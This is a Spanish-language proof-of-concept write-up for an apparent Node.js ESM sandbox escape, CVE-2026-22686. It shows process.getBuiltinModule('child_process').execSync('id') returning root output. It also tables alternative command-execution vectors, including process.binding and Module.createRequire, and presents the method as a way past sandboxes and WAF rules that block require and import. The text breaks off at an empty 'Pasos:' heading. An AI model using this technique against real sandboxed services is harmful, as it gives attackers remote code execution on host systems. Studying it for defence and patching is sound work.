
Prueba de concepto del exploit para CVE-2026-22686, que demuestra la ejecución remota de código en sandboxes ESM de Node.js mediante process.getBuiltinModule para evadir las restricciones de módulos.
requireAl lograr la evasión del sandbox mediante CVE-2026-22686, ejecutar comandos del sistema operativo en un
proyecto ESM ("type": "module") requiere omitir las restricciones de carga de módulos de Node.js.
Los enfoques estándar fallan por las siguientes razones:
| Vector | Resultado |
|---|---|
require('child_process') | ❌ require is not defined — no disponible en ESM |
process.mainModule.require(...) | ❌ Cannot read properties of undefined — mainModule es undefined en ESM |
import('child_process') | ❌ A dynamic import callback was not specified — requiere un hook no configurado en el sandbox |
process.binding('spawn_sync') | ⚠️ Disponible pero demasiado bajo nivel — requiere construcción manual de syscalls |
process.getBuiltinModuleEn lugar de asumir un método de carga de módulos, enumeramos las claves de process directamente
desde el contexto del host (ya accesible tras la evasión del sandbox):
return Object.keys(process)
Entre las claves devueltas, se identificó getBuiltinModule — una API nativa de Node.js 22+
diseñada específicamente para permitir que los módulos ESM accedan a los módulos integrados de Node.js
sin require ni import().
process.getBuiltinModule('child_process').execSync('id').toString()
// → uid=0(root) gid=0(root) groups=0(root) ✅ RCE confirmado
Esta es la idea clave: process.getBuiltinModule es una API relativamente nueva
(Node.js >= 22.3.0) y con frecuencia es pasada por alto por las implementaciones de sandbox
y las reglas WAF que bloquean require e import.
Dependiendo del entorno objetivo, otros vectores pueden estar disponibles tras
enumerar process:
| Vector | Versión de Node.js | Notas |
|---|---|---|
process.getBuiltinModule('child_process') | >= 22.3.0 | ✅ Más limpio — API oficial segura para ESM |
process.binding('spawn_sync') | Todas | ⚠️ Bajo nivel, requiere construcción manual de buffers |
process.mainModule.require(...) | Solo CJS | ❌ Indefinido en ESM |
__non_webpack_require__ | Paquetes Webpack | ⚠️ Específico del entorno |
Module.createRequire(import.meta.url) | >= 12.2.0 | ⚠️ Requiere referencia a Module desde el host |
process._linkedBinding('node_os') | Compilaciones internas | ⚠️ Raramente expuesto |
Conclusión: Siempre enumera
Object.keys(process)después de lograr acceso al contexto del host. La superficie de ataque disponible varía significativamente según la versión de Node.js y la configuración del proyecto.getBuiltinModulees el vector más fiable en entornos ESM modernos de Node.js.
Pasos:
